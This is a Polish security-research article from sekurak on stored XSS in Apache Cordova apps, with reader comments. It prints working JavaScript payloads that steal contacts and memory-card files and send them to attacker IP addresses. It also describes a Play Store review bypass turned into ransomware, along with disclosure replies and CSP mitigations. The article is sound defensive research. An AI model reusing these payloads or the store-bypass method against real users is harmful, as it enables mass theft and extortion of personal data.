Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Problemy bezpieczeństwa Apache Cordova – czyli jak jednym XSS-em wykraść całą zawartość karty pamięci telefonu
Na rynku aplikacji mobilnych jest dostępnych wiele różnych technologii, które umożliwiają tworzenie aplikacji. Jedna z nich – Apache Cordova – pozwala pisać aplikacje w JavaScript/HTML. Stworzone w ten sposób aplikacje są łatwe w dystrybucji, a ich działanie nie odbiega od aplikacji natywnych napisanych w Java lub C. Deweloper może rozwijać jedną wersję aplikacji na różne platformy mobilne, a użytkownik końcowy nie widzi różnicy w korzystaniu z aplikacji. Zasada działania jest prosta: framework udostępnia API, które można wykorzystać z poziomu kodu JavaScript, np. do zrobienia zdjęcia aparatem telefonu.
Niniejszy artykuł pokazuje jak wygląda kwestia bezpieczeństwa aplikacji mobilnych napisanych w JavaScript z wykorzystaniem frameworka Apache Cordova pod kątem występowania podatności Cross-Site Scripting.
Przykładowa aplikacja Apache Cordova
Poniższa przykładowa aplikacja podatna jest na ataki Stored Cross-Site Scripting – złośliwy kod można zapisać w danych pobieranych przez aplikację mobilną z serwera (np. w formie komentarza do artykułu). W efekcie na urządzeniach mobilnych użytkowników aplikacji, wykona się złośliwy kod atakującego. Jak jednak można wykorzystać XSS w aplikacji mobilnej do czegoś ciekawszego niż wyświetlenie alertu JavaScript?
Cordova, framework w którym zbudowana została aplikacja mobilna, udostępnia API które pozwala na odwoływanie się do wrażliwych funkcji systemu, np. odczytanie listy kontaktów, wykonanie zdjęcia lub odczytanie pliku z karty pamięci (użytkownik będzie musiał zaakceptować takie uprawnienia dla aplikacji). Jest to założenie tego frameworka – deweloper tworzy aplikację mobilną poprzez kod HTML/JavaScript i z poziomu tych technologii musi mieć możliwość wykonywania operacji na urządzeniu.
Jednak atakujący wykorzystując podatność XSS obecną w aplikacji, uzyskuje możliwość wpłynięcia na zachowanie aplikacji mobilnej. Jako że aplikacja jest napisana w JavaScript, przesłanie za pomocą XSS kodu JavaScript do wykonania jest dodaniem dowolnej, złośliwej funkcjonalności.
Struktura aplikacji mobilnej napisanej w Apache Cordova wygląda jak poniżej:
$ unzip -l android-debug.apk Archive: android-debug.apk Length Date Time Name --------- ---------- ----- ---- 3616 00-00-1980 00:00 AndroidManifest.xml 765 00-00-1980 00:00 META-INF/CERT.RSA 3019 00-00-1980 00:00 META-INF/CERT.SF 2976 00-00-1980 00:00 META-INF/MANIFEST.MF 1322 00-00-1980 00:00 assets/www/cordova-js-src/android/nativeapiprovider.js 1441 00-00-1980 00:00 assets/www/cordova-js-src/android/promptbasednativeapi.js 11143 00-00-1980 00:00 assets/www/cordova-js-src/exec.js 4924 00-00-1980 00:00 assets/www/cordova-js-src/platform.js 4005 00-00-1980 00:00 assets/www/cordova-js-src/plugin/android/app.js 72751 00-00-1980 00:00 assets/www/cordova.js 1268 00-00-1980 00:00 assets/www/cordova_plugins.js 3719 00-00-1980 00:00 assets/www/css/index.css 21814 00-00-1980 00:00 assets/www/img/logo.png 2799 00-00-1980 00:00 assets/www/index.html 1664 00-00-1980 00:00 assets/www/js/index.js 8006 00-00-1980 00:00 assets/www/plugins/cordova-plugin-camera/www/Camera.js 3297 00-00-1980 00:00 assets/www/plugins/cordova-plugin-camera/www/CameraConstants.js 1217 00-00-1980 00:00 assets/www/plugins/cordova-plugin-camera/www/CameraPopoverHandle.js 2297 00-00-1980 00:00 assets/www/plugins/cordova-plugin-camera/www/CameraPopoverOptions.js 1782516 00-00-1980 00:00 classes.dex 216014 00-00-1980 00:00 res/drawable-land-hdpi-v4/screen.png [...] 2684 00-00-1980 00:00 res/xml/config.xml 400 00-00-1980 00:00 res/xml/provider_paths.xml 2636 00-00-1980 00:00 resources.arsc --------- ------- 3735666 36 files
Cała mechanika działania aplikacji zostaje zapisana w plikach JS i HTML w katalogu assets/www.
Przykładowy plik index.html wygląda jak poniżej:
<!DOCTYPE html> <html> <head> <title>Test App</title> </head> <body> <div class="app"> <h1>Test App Cordova</h1> CONTENT </div> <script type="text/javascript" src="cordova.js"></script> <script type="text/javascript" src="js/index.js"></script> <script src="http://sekurak.local/js/jquery-3.2.0.min.js"></script> </body> </html>
Dla zobrazowania podatności XSS w aplikacji mobilnej, zapiszmy na serwerze WWW kod JS alert(/xss/) – aplikacja mobilna wykona podany kod:
Skutki XSS-ów
Jako że Apache Cordova udostępnia API a sama aplikacja posiada uprawnienia m.in. do kontaktów oraz kamery, wykorzystajmy podatność XSS do osadzenia poniższego złośliwego kodu <script src=”//sekurak.local/evil.js”></script>:
document.addEventListener("deviceready", onDeviceReady, false); function onDeviceReady() { var options = new ContactFindOptions(); options.filter = ''; options.multiple = true; var fields = ["displayName"]; navigator.contacts.find(fields, onSuccess, onError, options); } function onSuccess(contacts) { for (var i = 0; i < contacts.length; i++) { alert("Kontakt wyslany do atakujacego = " + encodeURI(contacts[i].displayName) + "; tel. " + contacts[i].phoneNumbers[0].value); var imported = document.createElement('script'); imported.src = 'http://192.168.1.8:8000/save/name/' + encodeURI(contacts[i].displayName) + '/number/' + contacts[i].phoneNumbers[0].value; document.head.appendChild(imported); } } function onError(contactError) { alert('onError!'); }
Efektem będzie wyświetlenie alertu z listą kontaktów użytkownika, oraz przesłanie ich w tle na serwer atakującego:
Do czego jeszcze można wykorzystać podatności we frameworkach aplikacji mobilnych JavaScript? Jako atakujący jesteśmy ograniczeni przez uprawnienia jakie posiada aplikacja mobilna – jeżeli aplikacja posiada uprawnienia i aktywny moduł do kamery – możemy nią operować; jeżeli aplikacja posiada uprawnienia do listy kontaktów – możemy odczytać lub zarządzać listą kontaktów, itd. Spróbujmy w takim razie wykraść prywatne zdjęcia z urządzeń mobilnych użytkowników aplikacji.
Poniższy kod wylistuje pliki na karcie pamięci oraz prześle je na serwer atakującego:
document.addEventListener("deviceready", init, false); function init() { listDir(cordova.file.externalRootDirectory); } function fail(e) {} function gotFile(fileEntry) { fileEntry.file(function(file) { var reader = new FileReader(); reader.onloadend = function(e) { var http = new XMLHttpRequest(); var url = "http://192.168.1.246/uploadFile"; var params = "filename=" + fileEntry.name + "&content=" + this.result; http.open("POST", url, true); http.send(params); } reader.readAsText(file); }); } function listDir(path) { window.resolveLocalFileSystemURL(path, function(fileSystem) { var reader = fileSystem.createReader(); reader.readEntries( function(entries) { for (var i = 1; i < entries.length; i++) { alert("Plik = " + entries[i].name); if (entries[i].isFile == 1) window.resolveLocalFileSystemURL(path + entries[i].name, gotFile, fail); } }, function(err) {} ); }, function(err) {} ); }
Jak widać na przykładach wykorzystanie Stored XSS w aplikacji może być fatalne w skutkach dla użytkowników aplikacji.
Warto zaznaczyć, że nawet w przypadku gdy aplikacja nie będzie podatna na ataki XSS – jeżeli atakujący uzyska dostęp do serwera WWW aplikacji mobilnej JavaScript (np. przez błąd typu Injection), korzystnym dla atakującego będzie osadzenie złośliwego kodu HTML/JavaScript w renderowanych zasobach aplikacji, np. w pobieranym z serwera pliku jQuery.js. Dzięki temu przejęcie jednego serwera WWW aplikacji mobilnej z której korzysta 100 000 użytkowników oraz kilka linijek JavaScript pozwala atakującemu na kradzież listy kontaktów, zrobienie zdjęcia użytkownikom, nagrywanie audio/wideo czy uzyskanie dostępu do systemu plików urządzenia mobilnego. Włamanie na jeden serwer może skutkować przejęciem kontroli nad wszystkimi urządzeniami mobilnymi użytkowników.
Rozwijając myśl ataku aplikacji mobilnych napisanych w JavaScript nasuwa się pytanie: Czy takie aplikacje faktycznie mogą przedostać się do sklepów, np. Google Play czy AppStore?
Bezpieczeństwo Android i Google Play
Na potrzeby artykułu została stworzona prosta aplikacja w Apache Cordova na Android. Następnie aplikacja została opublikowana na Google Play. Założenia aplikacji były proste – wyświetlała ona użytkownikowi najpopularniejsze memy internetowe (obrazki), po kliknięciu na mem był on zapisywany na karcie pamięci. Po zaakceptowaniu jej przez Google zmieniłem jej działanie, tak, że w efekcie aplikacja była w pełni uzbrojonym ransomware mobilnym, dostępnym do pobrania z Google Play.
Aplikacja nie przejawiała żadnego podejrzanego zachowania, bo też takiego nie miała. Dopiero po poprawnej weryfikacji przez Google Play, zmodyfikowałem pobierany z serwera przez aplikację plik jquery-1.3.20.min.js tak, że aplikacja zamiast zapisywać memy, wysyłała na złośliwy serwer listę kontaktów, kopię zdjęć z telefonu oraz plików z karty pamięci, a następnie wszystkie je szyfrowała. W taki sposób atak Stored XSS można obrócić w pełny funkcjonalny ransomware mobilny, który jest niewykrywalny przez Google.
Wykrycie takiego ataku jest mało prawdopodobne – w przypadku gdy atakujący zamieści na atakowanej stronie złośliwy kod JavaScript, może się on wykonać równolegle na setkach tysięcy urządzeniach mobilnych użytkowników aplikacji. Prosty kod JavaScript, który uzyska dostęp do kontaktów i plików z telefonu, uruchomi się tylko raz, po czym znika z zaatakowanego serwera, a setki urządzeń już wysyłają w tle swoje dane na serwery atakującego. O całym incydencie nie będzie wiedziało ani Google, ani producent aplikacji bo nie zobaczą żadnego ruchu sieciowego. Prawdopodobnie nie będą wiedzieli o tym także użytkownicy jako, iż cały atak będzie przeprowadzał się w tle tak jak powyższy przykład z zapisaniem mema. Po chwili ślad po ataku znika, ewentualne dowody zbrodni mogą zostać zapisane w cache aplikacji mobilnej, które także można z poziomu JavaScript wykasować. O skali ataku wiedzieć będzie tylko atakujący.
Jak podchodzi do tej kwestii właściciel sklepu Google Play? Atak polegający na dodaniu złośliwej aplikacji ransomware do sklepu Google Play został opisany i zgłoszony do zespołu Google Security. Poniżej odpowiedź (mail zawierający zgłoszenie informował, że odpowiedź na niego zostanie użyta w artykule):
Cześć Jakub,
[I’m writing in English, so that the rest of the team can pick up the conversation. We’re not all Polish – yet ;) ]
Gynvael mentioned us your case, so thanks for following up. It’s a cool attack vector, but I’m afraid it’s working as intended. Android apps (unlike, say, iOS apps) can by design download and execute arbitrary code at runtime – this time it’s not a Dalvik bytecode, but JS files that give you similar capabilities thanks to Cordova.
It’s true that you can bypass the Play Store validations on submission – there are probably other ways of achieving this as well, not relying on Javascript. The way that most protections for Android users work is at runtime – if you get to execute a code that’s harmful to the users on real user devices (and a large enough number of them for the system to pick it up), this is when the protections would kick in. For small scale it’s likely you’re just not reaching this threshold. This is just a rough description, but feel free to try to reverse engineer what’s going on Android devices.
So, from a security perspective (Google VRP) this would not be rewarded, as the system looks like it’s working as intended. But I’ll forward this to the Abuse team that might be interested in hearing about this specific issue – they might reach a different conclusion.
Still, the hack is l33t :)
Odpowiedź od Android Abuse Team:
Hi Jakub,
We appreciate the feedback, however the issues raised here are not specific to Android. The issues identified here point to application security vulnerabilities which should be addressed by developers through their Security Development Lifecycle. Android has published security development best practices <https://developer.android.com/training/articles/security-tips.html#UserData>.
This report will unfortunately not be accepted for our VRP.
Please continue to send us your research findings and feedback in the future.
Bezpieczeństwo w iOS i AppStore
Na iOS również można uzyskać dostęp do zdjęć, kontaktów z poziomu JavaScript Cordova. Jednak w celu uzyskania dostępu do zdjęć należy użyć innych pluginów Cordova niż w przypadku poprzedniego przykładu pod platformę Android (wynika to z różnic w sposobie przechowywania i udostępniania zdjęć na iOS). Do pobrania zdjęć na iOS można wykorzystać plugin cordova-plugin-photos, z przykładowym kodem JavaScript:
document.addEventListener("deviceready", onDeviceReady, false); function onDeviceReady() { Photos.photos(function(photos) { alert(JSON.stringify(photos)); }); }
Zespół bezpieczeństwa Apple został poinformowany o tej metodzie ataku przed publikacją artykułu z miesięcznym wyprzedzeniem. Ze względu na założenia poufności komunikacji z Apple brak odpowiedzi, którą można zacytować w artykule, jednak jak zapewnia Apple, kwestia użycia dynamicznych natywnych SDK zostanie „zaadresowana” (bez powodzenia próbowano doprecyzować tę wypowiedź). W chwili publikacji artykułu jednak Apple nie posiada zabezpieczeń, które wyeliminują ataki z użyciem Cordova.
Na potrzeby artykułu przygotowana została testowa aplikacja do publikacji na AppStore, jednak ze względu na brak zgody zespołu Apple na wgranie testowej aplikacji na AppStore, zmieniono założenia. W celu potwierdzenia możliwości wystąpienia złośliwej aplikacji napisanej z użyciem Cordova na AppStore, użyto opublikowanej już aplikacji przez Adobe PhoneGap, a następnie zmodyfikowano odpowiedź serwera WWW, tak, aby zawierała złośliwy kod HTML/JavaScript. W efekcie możliwe było wykonanie złośliwego, zewnętrznego kodu JavaScript. (Nie przeprowadzano testów czy sama aplikacja poddana testom jest podatna na ataki XSS – w celu zasymulowania podatności wykorzystano oprogramowanie typu proxy, z modyfikacją odpowiedzi serwera, co nie ingerowało w dane dostawcy aplikacji; atak przeprowadzony był pasywnie/lokalnie). Podany przypadek można traktować jako dowód, iż możliwe jest wgranie złośliwej aplikacji na AppStore.
Reakcja Apache Cordova
Zespół bezpieczeństwa Apache został poinformowany o zachowaniu przed publikacją artykułu. Apache nie będzie wprowadzać poprawki do Cordovy, jako, że to na deweloperze ciąży odpowiedzialność za bezpieczeństwo aplikacji. W celu podniesienia bezpieczeństwa aplikacji napisanej w Cordova Apache rekomenduje stosowanie się do „whitelist” Cordovy oraz używanie poprawnych reguł CSP.
Wnioski/Podsumowanie
Deweloper powinien wymuszać bezpieczne polityki Content-Security-Policy, blokować przetwarzanie kodu HTML pobieranego z zasobów zewnętrznych oraz ograniczyć listy uprawnień aplikacji mobilnej do niezbędnego minimum. Warto zaznaczyć, iż od wersji Cordova 5 w domyślnie tworzonym pliku projektu index.html zdefiniowana jest polityka Content-Security-Policy. Nie zmienia to jednak faktu, iż z punktu widzenia użytkownika końcowego niewiele to pomaga – nadal nie ma pewności czy aplikacja posiada poprawną politykę CSP oraz czy w związku z tym nie padnie ofiarą atakującego lub czy nie pobiera właśnie malware mobilnego z Google Play/AppStore.
Pentester powinien zwrócić uwagę na to czy wymuszając złośliwy kod HTML/JavaScript w odpowiedzi serwera WWW, możliwe jest wykonanie kodu po stronie aplikacji mobilnej, nawet jeżeli obecnie aplikacja nie jest podatna na ataki XSS. Zezwalanie na przetwarzanie kodu HTML/JavaScript przetwarzanego dynamicznie, nawet kodu, który pobierany jest ze strony firmowej, powinno być odnotowane jako podatność bezpieczeństwa. Polityka CSP powinna być wymuszona w plikach konfiguracyjnych aplikacji mobilnej – polityka CSP ustawiona przez nagłówki odpowiedzi HTTP może zostać zmodyfikowana przez atakującego po przejęciu serwera WWW a jej brak wykorzystany może zostać do infekowania urządzeń mobilnych.
Użytkownik końcowy powinien jak zawsze – weryfikować jakie uprawnienia nadaje aplikacji mobilnej. W pozostałych kwestiach musi niestety liczyć na prawidłowe zarządzanie bezpieczeństwem producenta aplikacji lub liczyć, że aplikacja nie jest złośliwym oprogramowaniem wgranym na Google Play/AppStore. Niestety, aplikacja, która obecnie jest bezpieczna, może zostać zmodyfikowana przez atakującego poprzez osadzenie złośliwego JavaScript na serwerach aplikacji. Być może warto również rozważyć używanie aplikacji, która szyfruje zdjęcia na telefonie a dostęp do nich możliwy jest dopiero o odblokowaniu zasobów z użyciem biometryki lub hasła?
Ze względu na rozwój technologii JavaScript oraz aplikacji na nich opartych, zarówno mobilnych, web-frontendowych jak także urządzeń IoT, możemy liczyć na więcej podatności i masowych ataków związanych z tymi technologiami w przyszłości.
Pytanie na koniec – spójrzcie na pierwszy ekran waszych urządzeń mobilnych. Ile z widocznych aplikacji ma uprawnienia dostępu do zdjęć?
Propozycje dalszych badań:
- Ile aplikacji stworzonych z użyciem Apache Cordova dostępnych jest na Google Play/AppStore?
- Ile z nich posiada poprawną politykę CSP wymuszoną w plikach aplikacyjnych?
- Ile z nich posiada odniesienia do zewnętrznych plików JavaScript – i ile z tych zewnętrznych plików JavaScript odpowiada za złośliwe funkcjonalności?
Jakub Darecki, pentester w Securitum
Źródła/odniesienia
- Czym jest XSS
- Strona główna projektu Apache Cordova
- Opis pluginu Cordova File służącego do zarządzania plikami
- Opis pluginu Cordova Camera służącego do integracji z kamerą telefonu
- Opis pluginu Cordova Contacts służącego do zarządzania kontaktami
- Definiowanie whitelisty w aplikacji Cordova
- Zarządzanie zdjęciami w systemie iOS
- Przykład kodu Cordova zapisującego plik na karcie pamięci SD
- Przykład kodu Cordova listującego zawartość systemu plików
- Przykład kodu Cordova uzyskującego dostęp do kontaktów
- Lista gotowych pluginów na platformę iOS
- Plugin Cordova służacy do pobrania zdjęć na platformie iOS
- Lista gotowych przykładowych aplikacji stworzonych w Apache Cordova
- Opis funkcji wykorzystywanej w kodzie JavaScript Cordova
- Rekomendacje producenta Apache Cordova do tworzenia bezpiecznej polityki aplikacji
Świetny, merytoryczny artykuł :)
Naprawdę bardzo dobry artykuł! Jeden z najlepszych jakie miałem okazję czytać. Czy jest szansa na kontynuację tej serii ? np. poruszającej inne frameworki ?
A niekochanym Windows Phone się zainteresujecie? Tam tez są chyba apki Cordova ^^.
Jak to się ma w odniesieniu do Androida 7.0 gdzie uprawnienia możemy ustawiać per aplikacja? Nie jestem expertem z Cordova i nie wiem jak to tam do końca działa. Czy jak jednej aplikacji z Cordova dam dostęp do karty pamięci i fotek bo np. jest to galeria w Cordova (czysto hipotetycznie), to inna podatna na ten XSS od razu ma też do tego dostęp? Czy w momencie podmianki JS na serwerze nagle wyskoczy mi komunikat, że aplikacja chce dostęp do moich fotek?
Nie. Każda aplikacja bazująca na technologii Apache Cordova może mieć różne uprawnienia. Uprawnienia aplikacji wynikają z użytych „wtyczek”. Jedna aplikacja może mieć dostęp do zdjęć, druga nie. Wszystko leży w gestii programisty. Jeżeli twórca w jednej aplikacji nie użył pluginu zapewniającego dostępu do kontaktów telefonu, to atak XSS w tej aplikacji wycelowany na kontakty nic nie da, gdyż nie będzie można przy pomocy JavaScript dostać się do tych kontaktów.
Druga sprawa w odniesieniu do Androida 7.0, jeśli zabronisz aplikacji dostępu do zdjęć – to nic tego nie zmieni, przynajmniej w kontekście rzeczy o których mowa w artykule. Nawet, gdy aplikacja ma wtyczkę do dostępu do zdjęć.
Artykuł jest ciekawy, dobry, ale trochę zbyt wprowadzający w stan niepokoju. Właściwie może jeszcze mam mało wiedzy, ale nie widziałem jeszcze przypadku, aby ktoś w aplikacji Cordova osadzał pliki *.js na zewnętrznym serwerze, zamiast w kontenerze aplikacji.
Z opisywanym atakiem jest trochę jak próbą kradzieży zdjęć z laptopa bez dostępu do sieci w zamkniętym domu. Wszystko zależy od zabezpieczeń domu niż samego laptopa, chociaż na nim też można jakoś to zabezpieczyć.
Przecież Adobe to zrobiło, a zabezpieczenia ich aplikacji pokonało proxy. Im też należałoby wysłać informację, że powinni włączyć CSP
Dzięki za art.
Biednemu użytkownikowi Androida pozostaje chyba tylko poleganie na XPrivacy i AFWall+, ale te niestety, wymagają XPosed, który nie jest jeszcze dostępny dla Androida 7.x
Dobre wychowanie nakazuje podać jeszcze źródła:
https://www.brucker.ch/bibliography/abstract/brucker.ea-cordova-security-2016
https://www.slideshare.net/0x414244/combining-the-security-risks-of-native-and-web-development-hybrid-apps
Chyba że autor nie zapoznał się z wcześniejszymi badaniami i publikacjami na ten temat, co również nie najlepiej o nim świadczy.
Dziękuję za podesłanie linków. Przed napisaniem artykułu szukałem informacji czy innych opisów tego zachowania jednak nie widziałem tych materiałów. Sądząc po odpowiedzi m.in. Zespołu Apple na moje zgłoszenie wnioskuje, że temat nie jest szeroko znany a opisany w artykule przypadek wniósł coś nowego do tematu dynamicznych SDK.
@krytyk
Jak ktoś pracuje głównie nad swoją robotą a nie nad analizą cudzych osiągnięć, zawsze będą jakieś źródła, do których nie dotrze. Nie ma co tego wyolbrzymiać, to nie recenzja pracy naukowej ;)
I ten, przeczytaj sobie może wierszyk Brzechwy „Kwoka”.
Pozamiatane. Siedzi jakiś fircyk i próbuje zaistnieć: „a, nasram tu i powiem, że zapomnieli posprzątać”.
Panie Jakubie dziękuję za wzbudzajacy ciekawość artykuł.
Czy wszystkie typy XSS tutaj działają ? Czy jest jakieś ograniczenie do funkcji JS ?